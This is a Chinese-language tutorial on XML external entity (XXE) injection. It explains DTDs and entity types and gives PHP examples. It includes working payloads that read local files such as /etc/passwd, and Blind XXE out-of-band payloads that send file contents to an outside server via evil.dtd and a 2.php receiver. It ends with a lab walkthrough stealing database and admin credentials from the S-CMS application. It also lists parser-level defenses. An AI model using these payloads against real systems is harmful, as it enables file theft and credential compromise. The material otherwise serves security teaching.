什么是XXE
概述
XXE:XML External Entity 即XML外部实体。
攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行。
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
现况
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
什么是XML
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
DTD学习
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
引用方式:
1.DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>
2.DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
3.引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
参考:https://www.w3school.com.cn/dtd/dtd_intro.asp
定义实体必须写在DTD部分
特点
- XML仅仅是纯文本,他不会做任何事情。
- XML可以自己发明标签(允许定义自己的标签和文档结构)
- XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
XXE原理
以PHP为例
php中存在一个叫做simplexml_load_string的函数(用来处理XML),这个函数是将XML转化为对象。
实例:
<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
#变量test里面是XML
#用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件
ENTITY
XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "Hello">
<!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>
2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
<!ENTITY 实体名称 SYSTEM "URI/URL">
如:
php<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>
3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
<!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
%dtd;
%send;
]>
evil.dtd 内部的%号要进行实体编码成%
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;
XXE危害
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致
-
读取任意文件
读取数据无回显,可以把数据发送到远程服务器。
-
探测内网端口
-
攻击内网网站
-
发起DoS拒绝服务攻击
-
执行系统命令
等。Java中的XXE支持sun.net.www.protocol
里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。
读取任意文件案例讲解
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
#先读取我们想要的文件,然后为了传输方便,我们先来个base64编码,我们可以使用php伪协议读取文件(仅PHP支持)
#调用一个外部xml
#比如1.xml
#1.xml###################
<!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml">
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://120.203.13.75:8123/xxe/2.php?id=%file;'>"
#读取出来的文件会用get传参的方式传参给2.php
>
%all;
#1.xml###################
#2.php如下
#<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?>
XXE防御
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
靶场演示
目的:通过XXE来找到管理员账户密码
1.靶场为开源CMS:闪灵企业建站(S-CMS)
2.可以直接在找源码来分析
在weixin文件夹下找到了simplexml_load_string函数。
当$signature不为空直接将POST提交上去的数据放入了simplexml_load_string
3.可惜的是页面无显示,无法正常的使用XXE输出。
4.我们需要尝试去用没有输出的xxe攻击方法。
在某台公网服务器上留下1.xml,以及2.php还有3.txt用来接收数据。(具体原理见上文的读取任意文件案例讲解)
5.我们只需要读取文件然后引用1.xml,1.xml会将读取文件的内容发送给2.php。2.php的数据会储存到3.txt。
6.我们需要管理员账户,所以在CMS源码找到了conn/conn.php里有数据库密码。
7.通过XXE来获取信息
8.在3.txt中收到了信息,去解密一下
9.拿到数据库账户密码,去登陆数据库
10.拿到管理员密码,收工!
本文涵盖参考链接:
- http://rui0.cn/archives/993
- https://skysec.top/2018/08/17/%E6%B5%85%E6%9E%90xml%E5%8F%8A%E5%85%B6%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
- https://blog.csdn.net/qq_40491569/article/details/83066200